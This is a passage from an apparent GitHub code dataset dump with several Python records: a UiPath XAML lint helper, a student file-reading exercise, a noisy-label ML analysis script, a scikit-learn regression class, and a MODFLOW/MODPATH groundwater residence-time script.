above.\")\n","repo_name":"jatinkrmalik/Legolas","sub_path":"legolas/legolas.py","file_name":"legolas.py","file_ext":"py","file_size_in_byte":3780,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"865140252","text":"# XML namespaces\nxamlns = {\n 'xaml': 'http://schemas.microsoft.com/netfx/2009/xaml/activities', # Default namespace\n 'sap2010': 'http://schemas.microsoft.com/netfx/2010/xaml/activities/presentation',\n 'ui': 'http://schemas.uipath.com/workflow/activities',\n 'x': 'http://schemas.microsoft.com/winfx/2006/xaml',\n}\n\n# Set of Workbook activities (as of 18.4.3)\nwbactivities = {\n 'ui:AppendRange', 'ui:GetTableRange', 'ui:ReadCell', 'ui:ReadCellFormula', 'ui:ReadColumn',\n 'ui:ReadRange', 'ui:ReadRow', 'ui:WriteCell', 'ui:WriteRange',\n}\n\n# Set of Open/Attach Scopes (as of 18.4.3)\nwndscopes = {\n 'ui:ElementScope', 'ui:WindowScope', 'ui:BrowserScope', 'ui:OpenApplication', 'ui:OpenBrowser',\n}\n\n# Set of Special keys (as of 18.4.3)\nspecialkey = {\n 'add', 'alt', 'lalt', 'ralt', 'back', 'break', 'caps', 'ctrl', 'lctrl', 'rctrl', 'decimal',\n 'del', 'div', 'down', 'end', 'enter', 'numEnter', 'esc', 'f1', 'f2', 'f3', 'f4', 'f5', 'f6',\n 'f7', 'f8', 'f9', 'f10', 'f11', 'f12', 'home', 'ins', 'left', 'mul', 'num', 'num0', 'num1',\n 'num2', 'num3', 'num4', 'num5', 'num6', 'num7', 'num8', 'num9', 'pause', 'pgup', 'pgdn', 'right',\n 'scroll', 'shift', 'lshift', 'rshift', 'sleep', 'sub', 'tab', 'up',\n}\n\n\n# Get DisplayName of Activity\ndef displayname(element) -> str:\n if tag(element) == 'Target':\n element = element.xpath('../..')[0]\n\n dispname = element.get('DisplayName')\n return dispname if dispname else tag(element)\n\n\n# Get tag name without namespaces (local name)\ndef tag(element) -> str:\n tagname = element.tag\n nspos = tagname.find('}')\n return tagname[nspos + 1:] if nspos >= 0 else tagname\n","repo_name":"curipha/uilint","sub_path":"uixaml.py","file_name":"uixaml.py","file_ext":"py","file_size_in_byte":1613,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"53"}
+{"seq_id":"29096068968","text":"# Name: Steven Haynes\r\n# Chapter 6-2b Practice Project Status: Complete\r\n\r\n# A program that opens number_list.txt, and prints the numbers.\r\n# Uses a for loop to terminate at the end of the file.\r\n\r\ndef main():\r\n infile = open('number_list.txt', 'r')\r\n\r\n for line in infile:\r\n number = int(line)\r\n print(number)\r\n\r\n infile.close()\r\n\r\n\r\nmain()\r\n","repo_name":"sh1483/COSC-1336-Programming-Fundamentals-1-Python","sub_path":"Haynes_Practice6-2b.py","file_name":"Haynes_Practice6-2b.py","file_ext":"py","file_size_in_byte":366,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"73108434409","text":"import argparse\nfrom turtle import shape\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torchvision\nimport torchvision.transforms as transforms\nimport torchvision.models as models\nfrom sklearn.metrics import pairwise_distances\nimport numpy as np\nimport time\nfrom noisy_dataset import NoisyDataset\nimport tools\nfrom REL_model import NeuralNetwork\nfrom REL_model import NeuralNetLinear\nfrom ce_method import CE\nfrom trimming_method import Trimming\nimport eval_on_holdout\nimport plot\n\n\nparser = argparse.ArgumentParser(description='PyTorch Training')\nparser.add_argument('--noise_rate', type=float,\n help='overall corruption rate, should be less than 1', default=0.1)\nparser.add_argument('--noise_type', type=str,\n help='[instance, symmetric, asymmetric]', default='symmetric')\nparser.add_argument('-j', '--workers', default=4, type=int, metavar='N',\n help='number of data loading workers (default: 4)')\nparser.add_argument('--start-epoch', default=0, type=int,\n metavar='N', help='manual epoch number (useful on restarts)')\nparser.add_argument('--epoch', type=int, default=400)\nparser.add_argument('--model', type=str, default='LeNet')\nparser.add_argument('--model_name', type=str, default='resnet50')\nparser.add_argument('--weight_decay', type=float, help='l2', default=0.01)\nparser.add_argument('--learning_rate', type=float,\n help='momentum', default=0.01)\nparser.add_argument('--momentum', type=float, help='momentum', default=0.9)\nparser.add_argument('--dataset', type=str, default='mnist')\nparser.add_argument('--method', type=str, default='CDR')\nparser.add_argument('--outlier_ratio', type=float, default=0.2)\nparser.add_argument('--flag', type=str, default='CE_T')\nargs = parser.parse_args()\n\n#device = torch.device(\"cpu\")\nDATA_FOLDER = 'all_data_folder'\ndevice = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n\ntransform = transforms.Compose([transforms.ToTensor(),\n transforms.Normalize((0.1307, ), (0.3081, )), ])\ntransform_train = transforms.Compose([\n transforms.RandomCrop(32, padding=4),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n transforms.Normalize((0.4914, 0.4822, 0.4465), (0.2023, 0.1994, 0.2010)),\n])\ntransform_test = transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize((0.4914, 0.4822, 0.4465), (0.2023, 0.1994, 0.2010)),\n])\n\ntest_transformer_covid = transforms.Compose([\n transforms.Resize(224),\n transforms.CenterCrop(224),\n transforms.ToTensor(),\n transforms.Normalize(\n mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])\n])\n\nbest_acc = np.zeros(10)\nfor i in range(10):\n train_images = torch.load(DATA_FOLDER+'/{d}_data/{d}_{nt}_{nr}_train_images.pt'.format(\n d=args.dataset, nt=args.noise_type, nr=args.noise_rate))\n val_images = torch.load(DATA_FOLDER+'/{d}_data/{d}_{nt}_{nr}_val_images.pt'.format(\n d=args.dataset, nt=args.noise_type, nr=args.noise_rate))\n train_and_val_images = torch.load(DATA_FOLDER+'/{d}_data/{d}_{nt}_{nr}_train_and_val_images.pt'.format(\n d=args.dataset, nt=args.noise_type, nr=args.noise_rate))\n\n labels = np.load(DATA_FOLDER+'/{d}_data/{d}_{nt}_{nr}_labels.npz'.format(\n d=args.dataset, nt=args.noise_type, nr=args.noise_rate))\n train_labels = labels['train_labels']\n val_labels = labels['val_labels']\n train_and_val_labels = labels['train_and_val_labels']\n train_and_val_labels_without_noise = labels['train_and_val_labels_without_noise']\n\n\n noise_train_dataset = NoisyDataset(\n train_images, train_labels, target_transform=tools.transform_target)\n noise_val_dataset = NoisyDataset(\n val_images, val_labels, target_transform=tools.transform_target)\n train_and_val_dataset = NoisyDataset(\n train_and_val_images, train_and_val_labels, target_transform=tools.transform_target)\n\n if args.dataset == 'linear' or args.dataset == 'nonlinear':\n num_classes = 2\n num_gradual_cdr = 2\n batch_size = len(noise_train_dataset)\n test_images = torch.load(DATA_FOLDER+'/{d}_data/test_images.pt'.format(d=args.dataset))\n test_labels = torch.load(DATA_FOLDER+'/{d}_data/test_labels.pt'.format(d=args.dataset))\n test_dataset = torch.utils.data.TensorDataset(test_images, test_labels)\n\n noise_train_loader = torch.utils.data.DataLoader(\n noise_train_dataset, batch_size=batch_size, drop_last=False, shuffle=True, num_workers=args.workers, pin_memory=True)\n noise_val_loader = torch.utils.data.DataLoader(\n noise_val_dataset, batch_size=len(noise_val_dataset), drop_last=False, shuffle=False, num_workers=args.workers, pin_memory=True)\n train_and_val_loader = torch.utils.data.DataLoader(\n train_and_val_dataset, batch_size=len(train_and_val_dataset), drop_last=False, shuffle=False, num_workers=args.workers, pin_memory=True)\n test_loader = torch.utils.data.DataLoader(\n test_dataset, batch_size=len(test_dataset))\n\n if args.flag == 'CE_dbT':\n load = np.load('best_pred_outlier_{d}_Trimming_{nt}_{nr}.npy'.format(d=args.dataset, \n nt=args.noise_type, nr=args.noise_rate))\n outliers = load.astype(np.int)\n elif args.flag == 'CE_R':\n n = len(train_and_val_labels) * args.noise_rate\n outliers = np.random.choice(len(train_and_val_labels) ,int(n),replace=False)\n elif args.flag == 'CE_T':\n outliers = np.where(train_and_val_labels !=\n train_and_val_labels_without_noise)[0]\n \n new_images = np.delete(train_and_val_images, outliers, axis=0)\n new_labels = np.delete(train_and_val_labels, outliers, axis=0)\n \n #assert False\n\n new_dataset = NoisyDataset(\n new_images, new_labels, target_transform=tools.transform_target)\n new_loader = torch.utils.data.DataLoader(\n new_dataset, batch_size=len(new_dataset), drop_last=False, shuffle=True, num_workers=args.workers, pin_memory=True)\n \n if args.dataset == 'linear':\n #model = Logistic()\n model = NeuralNetLinear()\n elif args.dataset == 'nonlinear':\n model = NeuralNetwork()\n \n\n model = model.to(device)\n optimizer = torch.optim.SGD(\n model.parameters(), lr=args.learning_rate, weight_decay=args.weight_decay, momentum=args.momentum)\n\n criterion = nn.CrossEntropyLoss()\n\n if args.method == 'CDR':\n lr_scheduler = torch.optim.lr_scheduler.MultiStepLR(\n optimizer, milestones=[40, 80], gamma=0.1)\n elif args.method == 'CRUST':\n lr_scheduler = torch.optim.lr_scheduler.MultiStepLR(\n optimizer, milestones=[80, 100], last_epoch=args.start_epoch - 1)\n weights = [1] * len(noise_train_dataset)\n weights = torch.FloatTensor(weights)\n\n outlier_id = np.where(train_and_val_labels !=\n train_and_val_labels_without_noise)[0]\n num_outliers = len(outlier_id)\n\n TrainLoss = np.zeros(args.epoch)\n TrainAccuracy = np.zeros(args.epoch)\n TestLoss = np.zeros(args.epoch)\n TestAccuracy = np.zeros(args.epoch)\n ValidationLoss = np.ones(args.epoch) # np.empty(args.epoch)\n OutlierDetectionAccuracy = np.zeros(args.epoch)\n\n\n for epoch in range(args.start_epoch, args.epoch):\n start = time.time()\n if args.method == 'CE':\n ce = CE()\n train_loss, train_acc = ce.train(\n new_loader, model, device, criterion, optimizer)\n\n test_loss, test_acc = eval_on_holdout.eval_on_holdout_data(\n test_loader, model, device, criterion)\n\n outlier_detection_accuracy, _ = eval_on_holdout.eval_outlier_detection(\n train_and_val_images, train_and_val_labels, train_and_val_labels_without_noise, model, device)\n \n print('epoch %d, train_loss: %.8f train_acc: %f test_loss: %f test_acc: %f' %\n (epoch+1, train_loss, train_acc, test_loss, test_acc))\n print(\"outlier_detection_accuracy: %.4f\" % (outlier_detection_accuracy))\n TrainLoss[epoch] = train_loss\n TrainAccuracy[epoch] = train_acc\n TestLoss[epoch] = test_loss\n TestAccuracy[epoch] = test_acc\n #ValidationLoss[epoch] = val_loss\n OutlierDetectionAccuracy[epoch] = outlier_detection_accuracy\n #PredOutliers[epoch] = pred_outliers\n\n end = time.time() - start\n #print(end)\n\n\n if args.method == 'CRUST':\n test_acc_max = TestAccuracy[args.epoch-1]\n elif args.method == 'Trimming' or args.method == 'Trimming_minibatch':\n test_acc_max = OutlierDetectionAccuracy[np.argmin(TrainLoss)]\n #test_acc_max = test_acc\n else:\n #test_acc_max = TestAccuracy[np.argmin(ValidationLoss)]\n test_acc_max = OutlierDetectionAccuracy[np.argmin(TrainLoss)]\n print('Best Accuracy', test_acc_max)\n best_acc[i] = test_acc_max\n\n\n\n np.savez('{d}_analysis/random_{me}_{nt}_{nr}_result_{num}'.format(d=args.dataset, me=args.method,\n nt=args.noise_type, nr=args.noise_rate,num=i), train_loss_result=TrainLoss,\n train_acc_result=TrainAccuracy, test_loss_result=TestLoss,\n test_acc_result=TestAccuracy, val_loss_result=ValidationLoss,\n outlier_detection_accuracy=OutlierDetectionAccuracy)\n\nnp.save('analysis_{d}/random_{nt}_{nr}_{m}_result'.format(\n d=args.dataset, nt=args.noise_type, m=args.method, nr=args.noise_rate), best_acc)\n","repo_name":"Ohsakoy/Graduation-Research","sub_path":"analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":9499,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"15442430521","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn import preprocessing\n# ignore pandas warnings \nimport warnings\nwarnings.filterwarnings('ignore')\n# metrics imports \nfrom math import sqrt\nfrom sklearn.metrics import (\n mean_squared_error, \n r2_score ,\n mean_absolute_error\n)\nfrom ._supervised import Supervised_ML\n\n\nfrom sklearn.linear_model import LinearRegression, Ridge, Lasso\nfrom sklearn.neural_network import MLPRegressor\nfrom sklearn.tree import DecisionTreeRegressor\nfrom sklearn.ensemble import RandomForestRegressor, GradientBoostingRegressor\nfrom sklearn.neighbors import KNeighborsRegressor\nfrom sklearn.svm import SVR\nfrom sklearn.gaussian_process import GaussianProcessRegressor\n\n# preprocessing and cross validation\nfrom sklearn.model_selection import learning_curve\n\nclass Regression(Supervised_ML):\n \"\"\"\n Parameters:\n :param kwargs: is the regressor arguments\n \"\"\"\n\n algorithms_map = {\n \"LR\": LinearRegression,\n \"RDG\": Ridge,\n \"LSS\": Lasso,\n \"MLP\": MLPRegressor,\n \"GB\": GradientBoostingRegressor,\n \"DT\": DecisionTreeRegressor,\n \"RF\": RandomForestRegressor,\n \"KNN\": KNeighborsRegressor,\n \"SVR\": SVR,\n \"GPR\": GaussianProcessRegressor,\n }\n\n def __init__(self,\n train_df,\n test_df,\n algorithm=\"RF\",\n class_name = \"None\",\n file_path = \"None\",\n feature_selection = \"none\",\n validation_percentage = 0.1,\n cross_validation_k_folds = 1,\n **kwargs):\n self.train_df = train_df\n self.test_df = test_df\n assert (not (self.train_df.empty) and not (self.test_df.empty))\n\n if algorithm in ['custom','auto']:\n self.algorithm = algorithm\n else:\n assert (\n algorithm in self.algorithms_map.keys()\n ), \"Unsupported regressor provided\"\n self.algorithm = algorithm\n\n self.class_name = class_name\n self.file_path = file_path\n self.kwargs = kwargs\n self.target_col = None\n self.model = None\n self.pred_df = None\n self.metrics_dict = None\n self.target = None\n self.columns_high_corr = None\n self.important_columns =None\n self.used_columns = None\n self.true_values = None\n self.validation_percentage = validation_percentage\n self.cross_validation_k_folds = cross_validation_k_folds\n self.cross_validation_score = None \n assert (self.validation_percentage<=0.9), \"Validation % must be <=0.9\"\n self.validation_df = None\n self.scaler = None\n self.problem_type = 'Regression'\n self.used_metric = 'r2'\n if feature_selection in ['correlation', 'importance']:\n self.feature_selection = feature_selection\n else:\n self.feature_selection = None\n\n def scale_target_column(self, train ,target):\n self.scaler = preprocessing.MinMaxScaler()\n train[target] = self.scaler.fit_transform(np.asarray(train[target]).reshape(-1, 1)).reshape(1, -1)[0]\n self.train_df = train\n\n def rmse_history(self):\n train_sizes, train_scores, test_scores = learning_curve(\n self.model,\n self.train_df[self.used_columns], \n self.target_col,\n cv=5, \n scoring='neg_root_mean_squared_error', \n n_jobs=-1, \n train_sizes=np.linspace(0.1, 1.0, 7)\n )\n train_scores_mean = -np.mean(train_scores, axis=1)\n test_scores_mean = -np.mean(test_scores, axis=1)\n title = str(self.model)[:-2] + ' learning curves'\n\n data = {\n 'x':train_sizes,\n 'y1':train_scores_mean,\n 'y2':test_scores_mean,\n 'title':title,\n }\n return data\n \n def plot(self):\n data = self.rmse_history()\n plt.figure(figsize=(20,10))\n plt.title(data['title'], fontsize = 22)\n plt.plot(data['x'], data['y1'],color = 'blue', label = 'train RMSE')\n plt.plot(data['x'], data['y2'],color = 'orange', label = 'test RMSE')\n plt.legend()\n plt.xlabel('Sample size', fontsize = 18)\n plt.ylabel('Root mean squared error', fontsize = 18)\n plt.xticks(fontsize = 14)\n plt.yticks(fontsize = 14)\n plt.show()\n\n def gen_pred_df(self, df):\n preds = self.model.predict(df[self.used_columns])\n df[self.target] = preds\n # assign to self.pred_df only if inputs the test df\n if df is self.test_df:\n # reverse scaling\n df[self.target] = self.scaler.inverse_transform(np.asarray(df[self.target]).reshape(-1, 1)).reshape(1, -1)[0]\n self.pred_df = df \n else: # if input is validation\n return df\n\n def gen_metrics_dict(self):\n predicted = self.gen_pred_df(self.validation_df)\n y_pred = predicted[self.target]\n y_true = self.true_values\n\n # inverse scaling\n y_pred = self.scaler.inverse_transform(np.asarray(y_pred).reshape(-1, 1)).reshape(1, -1)[0]\n y_true = self.scaler.inverse_transform(np.asarray(y_true).reshape(-1, 1)).reshape(1, -1)[0]\n\n r2 = r2_score(y_true, y_pred)\n mse = mean_squared_error(y_true, y_pred)\n rmse = sqrt(mse)\n mae = mean_absolute_error(y_true, y_pred)\n\n dict_metrics = {\n \"r2_score\": r2,\n \"mean_squared_error\": mse,\n \"root_mean_squared_error\": rmse,\n \"mean_absolute_error\" : mae,\n \"cross_validation_score\":self.cross_validation_score, \n }\n self.metrics_dict = dict_metrics\n \n def run(self):\n train , test = self.drop_null_data()\n target , dt , target_list = self.detect_target_data( train , test)\n df = self.concat_dataframes(target, train , test, target_list)\n df = self.drop_null_columns(df)\n cat_colmns , num_colmns = self.classify_columns(df, target)\n columns_has_2 , columns_has_3to7 , columns_to_drop = self.classify_categorical_columns(df , cat_colmns)\n df = self.fill_null_values(df, cat_colmns, num_colmns)\n df = self.encode_categorical_columns(df, columns_has_2, columns_has_3to7 , columns_to_drop)\n train_n , test_n = self.split_dataframes(df, target, dt)\n self.scale_target_column(train_n,target)\n self.split_train_validation(train_n,test_n,target)\n self.train_the_model()\n self.gen_pred_df(self.test_df)\n self.gen_metrics_dict()","repo_name":"blitzml/blitzml","sub_path":"blitzml/tabular/_regression.py","file_name":"_regression.py","file_ext":"py","file_size_in_byte":6599,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"53"}
+{"seq_id":"2815896075","text":"\n# coding: utf-8\n\n# This notebook is used to get residence-time distribution (RTD) for the entire aquifer from an existing MODFLOW model. It is possible to read in any group or label from a 3D array and make RTDs for those groups. The approach is to \n# * read an existing model\n# * create flux-weighted particle starting locations in every cell\n# * run MODPATH and read endpoints\n# * fit parametric distributions to endpoints\n# \n# This notebook creates flux-weighted particles. Another notebook fits parametric distributions.\n\n# In[ ]:\n\n__author__ = 'Jeff Starn'\n# get_ipython().magic('matplotlib notebook')\n\n# from IPython.display import set_matplotlib_formats\n# set_matplotlib_formats('png', 'pdf')\n# from IPython.display import Image\n# from IPython.display import Math\n# from ipywidgets import interact, Dropdown\n# from IPython.display import display\n\nimport os\nimport sys\nimport shutil\nimport pickle\nimport numpy as np\nimport datetime as dt\nimport matplotlib.pyplot as plt\nimport matplotlib.ticker as mt\nimport flopy as fp\nimport imeth\nimport pandas as pd\nimport gdal\nimport scipy.stats as ss\nimport scipy.optimize as so\nfrom scipy.interpolate import Rbf\nfrom scipy.interpolate import griddata\n\n\n# # Preliminary stuff\n\n# ## Set user-defined variables\n# \n# MODFLOW and MODPATH use elapsed time and are not aware of calendar time. To place MODFLOW/MODPATH elapsed time on the calendar, two calendar dates were specified at the top of the notebook: the beginning of the first stress period (`mf_start_date`) and when particles are to be released (`mp_release_date`). The latter date could be used in many ways, for example to represent a sampling date, or it could be looped over to create a time-lapse set of ages. \n# \n# `num_surf_layers` is an arbitrary layer number on which to divide the model domain for calculating RTDs. For example, in glacial aquifers it could represent the layer number of the bottom of unconsolidated deposits. In that case, anything below this layer could be considered bedrock.\n# \n# `num_depth_groups` is an arbitrary number of equally groups starting from the water table to the bottom of the lowest model layer.\n\n# ## Loop through home directory to get list of name files\n\n# In[ ]:\n\nhomes = ['../Models']\nfig_dir = '../Figures'\n\nmfpth = '../executables/MODFLOW-NWT_1.0.9/bin/MODFLOW-NWT_64.exe'\nmp_exe_name = '../executables/modpath.6_0/bin/mp6.exe' \n\nmf_start_date_str = '01/01/1900' \nmp_release_date_str = '01/01/2020' \n\nnum_surf_layers = 3\nnum_depth_groups = 5\n\npor = 0.20\n\ndir_list = []\nmod_list = []\ni = 0\n\nfor home in homes:\n if os.path.exists(home):\n for dirpath, dirnames, filenames in os.walk(home):\n for f in filenames:\n if os.path.splitext(f)[-1] == '.nam':\n mod = os.path.splitext(f)[0]\n mod_list.append(mod)\n dir_list.append(dirpath)\n i += 1\nprint(' {} models read'.format(i))\n\n# model_area = Dropdown(\n # options=mod_list,\n # description='Model:',\n # background_color='cyan',\n # border_color='black',\n # border_width=2)\n# display(model_area)\n\nwith open('dir_list.txt', 'w') as f:\n for i in dir_list:\n f.write('{}\\n'.format(i))\n\n\n# ## Create names and path for model workspace. \n\n# The procedures in this notebook can be run from the notebook or from a batch file by downloading the notebook as a Python script and uncommenting the following code and commenting out the following block. The remainder of the script has to be indented to be included in the loop. This may require familiarity with Python. \n\n# In[ ]:\n\nfor pth in dir_list:\n model = os.path.normpath(pth).split(os.sep)[2]\n model_ws = [item for item in dir_list if model in item][0]\n nam_file = '{}.nam'.format(model)\n print(\"working model is {}\".format(model_ws))\n\n\n # In[ ]:\n\n # model = model_area.value\n # model_ws = [item for item in dir_list if model in item][0]\n # nam_file = '{}.nam'.format(model)\n # print(\"working model is {}\".format(model_ws))\n\n\n # # Load an existing model\n\n # In[ ]:\n\n print ('Reading model information')\n\n fpmg = fp.modflow.Modflow.load(nam_file, model_ws=model_ws, exe_name=mfpth, version='mfnwt', \n load_only=['DIS', 'BAS6', 'UPW', 'OC'], check=False)\n\n dis = fpmg.get_package('DIS')\n bas = fpmg.get_package('BAS6')\n upw = fpmg.get_package('UPW')\n oc = fpmg.get_package('OC')\n\n delr = dis.delr\n delc = dis.delc\n nlay = dis.nlay\n nrow = dis.nrow\n ncol = dis.ncol\n bot = dis.getbotm()\n top = dis.gettop()\n\n hnoflo = bas.hnoflo\n ibound = np.asarray(bas.ibound.get_value())\n hdry = upw.hdry\n\n print (' ... done') \n\n\n # FloPy loads MODFLOW packages but not their name-file unit numbers, so these have to be read separately.\n\n # In[ ]:\n\n src = os.path.join(model_ws, fpmg.namefile)\n name_file_df = pd.read_table(src, header=None, comment='#', delim_whitespace=True, \n names=['package', 'unit', 'filename', 'type'])\n\n name_file_df['package'] = name_file_df.package.str.lower()\n name_file_df.set_index('unit', inplace=True)\n\n head_file_name = name_file_df.loc[oc.iuhead, 'filename']\n bud_file_name = name_file_df.loc[oc.get_budgetunit(), 'filename']\n\n\n # ## Specification of time in MODFLOW/MODPATH\n # \n # There are several time-related definitons used in MODPATH.\n # * `simulation time` is the elapsed time in model time units from the beginning of the first stress period\n # * `reference time` is an arbitrary value of `simulation time` that is between the beginning and ending of `simulation time`\n # * `tracking time` is the elapsed time relative to `reference time`. It is always positive regardless of whether particles are tracked forward or backward\n # * `release time` is when a particle is released and is specified in `tracking time`\n\n # In[ ]:\n\n # Create dictionary of multipliers for converting model time units to days\n time_dict = dict()\n time_dict[0] = 1.0 # undefined assumes days, so enter conversion to days\n time_dict[1] = 24 * 60 * 60\n time_dict[2] = 24 * 60\n time_dict[3] = 24\n time_dict[4] = 1.0\n time_dict[5] = 1.0\n\n # convert string representation of dates into Python datetime objects\n mf_start_date = dt.datetime.strptime(mf_start_date_str , '%m/%d/%Y')\n mp_release_date = dt.datetime.strptime(mp_release_date_str , '%m/%d/%Y')\n\n # convert simulation time to days from the units specified in the MODFLOW DIS file\n sim_time = np.append(0, dis.get_totim())\n sim_time /= time_dict[dis.itmuni]\n\n # make a list of simulation time formatted as calendar dates\n date_list = [mf_start_date + dt.timedelta(days = item) for item in sim_time]\n\n # reference time and date are set to the end of the last stress period\n ref_time = sim_time[-1]\n ref_date = date_list[-1]\n\n # release time is calculated in tracking time (for particle release) and \n # in simulation time (for identifying head and budget components)\n release_time_trk = np.abs((ref_date - mp_release_date).days)\n release_time_sim = (mp_release_date - mf_start_date).days\n\n\n # ## Read budget file records\n\n # In[ ]:\n\n src = os.path.join(model_ws, bud_file_name)\n bud_obj = fp.utils.CellBudgetFile(src)\n all_bud_df = pd.DataFrame(bud_obj.recordarray)\n\n # convert to zero base\n all_bud_df['kper'] = all_bud_df['kper'] - 1\n all_bud_df['kstp'] = all_bud_df['kstp'] - 1\n\n # add calendar date (not used at this time)\n all_bud_df['date'] = mf_start_date + pd.to_timedelta(all_bud_df.totim, unit='days')\n\n\n # ## Identify time step and stress period for particle release\n # \n # * read all stress periods and time steps that were preserved in the budget file\n # * find the largest (latest) stress period and time step that include the mp_release_date\n # * make a subset of all the budget records from the specified period and step\n\n # In[ ]:\n\n # group by period and step\n kdf = all_bud_df.groupby(['kper', 'kstp']).median()\n\n # find the latest group index that includes the release date\n idx = kdf.loc[(kdf.totim >= release_time_sim).idxmax(), :].name\n\n # switch period and step \n kstpkper = tuple(item for item in idx[-1::-1])\n\n # extract the budget records for the specified period and step\n bud_df = all_bud_df.query('kstp=={} and kper=={}'.format(*kstpkper)).copy()\n\n bud_df.loc[:, 'per_num'] = bud_df.totim.factorize()[0]\n num_rec = bud_df.shape[0]\n\n\n # ## Extract specified flows from MODFLOW budget\n # \n # Get recharge at top model surface (recharge package only at this time) and flow across the bottom of layer = num_surf_layers. \n\n # In[ ]:\n\n if b' RECHARGE' in bud_df.text.values:\n # probably should make this so that recharge is summed from the highest active cell\n rch = bud_obj.get_data(text='RECHARGE', kstpkper=kstpkper, full3D=True)\n recharge_vol = rch[0].sum() \n else:\n print('no recharge')\n # This assumes all recharge is from RCH package. Should add a check for UZF package & concat them\n\n\n # In[ ]:\n\n if num_surf_layers <= nlay: \n flf = bud_obj.get_data(text='FLOW LOWER FACE', kstpkper=kstpkper, full3D=True)\n flow2rock = flf[0][num_surf_layers - 1, :, :]\n bedrock_recharge_vol = flow2rock[flow2rock > 0].sum()\n bed_frac = bedrock_recharge_vol / recharge_vol\n else:\n print('invalid num_surf_layers')\n\n\n # ## Read head file\n # The head file is used limit particle placement to the saturated part of each cell and to identify dry cells.\n\n # In[ ]:\n\n src = os.path.join(model_ws, head_file_name)\n hd_obj = fp.utils.HeadFile(src)\n head_df = pd.DataFrame(hd_obj.recordarray)\n\n heads = hd_obj.get_data(kstpkper=kstpkper)\n\n\n # ## Calculate saturated thickness and volume for each cell.\n # * create 3D model cell boundary grid\n # * saturated top in cell is minimum of head or cell top\n # * saturated thickness is the distance between the saturated top and cell bottom\n # * if the cell is dry or inactive, the saturated thickness is zero\n # \n\n # In[ ]:\n\n # create a 3D array of layer boundaries\n grid = np.zeros((nlay+1, nrow, ncol))\n grid[0, :, :] = top\n grid[1:, :, :] = bot\n\n # tmp is the minimum of the head and cell top \n tmp = np.minimum(heads, grid[:-1, :, :])\n\n # the saturated thickness is first estimated to be the difference between tmp and the cell bottom\n sat_thk_cell = (tmp - grid[1:, :, :]) \n\n # sat_thk_cell < 0 means the head is below the bottom of the cell; these are set to zero\n sat_thk_cell[sat_thk_cell < 0] = 0\n\n\n # ## Calculate the mean exponential age \n # \n # Based on simulated recharge volumteric rate and simulated aquifer volume. Calculations are for the entire model (total) and for layers above and below the layer specified at the top of the notebook as `num_surf_layers`.\n\n # In[ ]:\n\n # create grid cell dimension arrays\n delc_ar, dum, delr_ar = np.meshgrid(delc, np.arange(nlay), delr)\n\n # saturated volume of each cell\n sat_vol_cell = sat_thk_cell * delc_ar * delr_ar\n\n # sum totals\n total_sat_vol = sat_vol_cell.sum()\n total_sat_vol_glac = sat_vol_cell[0:num_surf_layers, :, :].sum()\n total_sat_vol_bedr = sat_vol_cell[num_surf_layers:, :, :].sum()\n\n tau_glacial = total_sat_vol_glac * por / recharge_vol / 365.25\n tau_bedrock = total_sat_vol_bedr * por / bedrock_recharge_vol / 365.25\n tau_total = total_sat_vol * por / recharge_vol / 365.25\n\n\n # In[ ]:\n\n print('tau total = {:8.0f} years'.format(tau_total))\n print('tau above = {:8.0f} years'.format(tau_glacial))\n print('tau below = {:8.0f} years'.format(tau_bedrock))\n\n\n # In[ ]:\n\n dst = os.path.join(model_ws, 'tau.txt')\n with open(dst, 'w') as f:\n line = 'Mean exponential age in glacial is {0:0.6f} years\\n'.format(tau_glacial)\n f.write(line)\n line = 'Mean exponential age in bedrock is {0:0.6f} years\\n'.format(tau_bedrock)\n f.write(line)\n line = 'Mean exponential age in total is {0:0.6f} years\\n'.format(tau_total)\n f.write(line)\n line = 'Inflow to bedrock is {0:0.0f} cubic meters per day\\n'.format(bedrock_recharge_vol)\n f.write(line)\n line = 'Inflow to bedrock is {0:0.3f} of total recharge\\n'.format(bed_frac)\n f.write(line)\n\n\n # # Make MODPATH input files and run MODPATH\n\n # ## Calculate inflow into each cell\n # The number of particles in each cell is in proportion to the flux into the cell. Particle locations within a cell are generated randomly. The proportion constant is calculated from the desired total number of particles. Number of particles per cell is proportional to the flow into the cell such that the total number of particles = `t_num_parts`, in this case 2 million. \n # \n # MODFLOW includes a variable called `imeth` in the budget file. `imeth` is used to specify the format in which the budget data are stored. Functions for reading `imeth` for each of the data formats are defined in the module imeth.py.\n\n # In[ ]:\n\n flow_times = bud_df.totim.unique()\n nt = bud_df.per_num.nunique()\n\n rxc = dis.nrow * dis.ncol\n nn = dis.nlay * rxc\n\n im = imeth.imeth(nlay, nrow, ncol)\n\n qx1 = np.zeros((nt, nn))\n qx2 = np.zeros_like(qx1)\n qy1 = np.zeros_like(qx1)\n qy2 = np.zeros_like(qx1)\n qz1 = np.zeros_like(qx1)\n qz2 = np.zeros_like(qx1)\n storage = np.zeros_like(qx1)\n\n bound_flow = np.zeros((nn, 7))\n int_flow_right = np.zeros((nn))\n int_flow_left = np.zeros((nn))\n int_flow_front = np.zeros((nn))\n int_flow_back = np.zeros((nn))\n int_flow_lower = np.zeros((nn))\n int_flow_top = np.zeros((nn))\n\n for i, rec in bud_df.iterrows():\n\n BUFF = bud_obj.get_record(i)\n \n internal_flow_list = [b' CONSTANT HEAD', b'FLOW RIGHT FACE ', b'FLOW FRONT FACE ', b'FLOW LOWER FACE ', b'STORAGE']\n\n if rec.text in internal_flow_list:\n if b' CONSTANT HEAD' in rec.text:\n bound_flow += im.imeth2(BUFF)\n elif b'FLOW RIGHT FACE ' in rec.text:\n int_flow_right = im.imeth1(BUFF)\n int_flow_left = np.roll(int_flow_right, 1)\n elif b'FLOW FRONT FACE ' in rec.text:\n int_flow_front = im.imeth1(BUFF)\n int_flow_back = np.roll(int_flow_front, 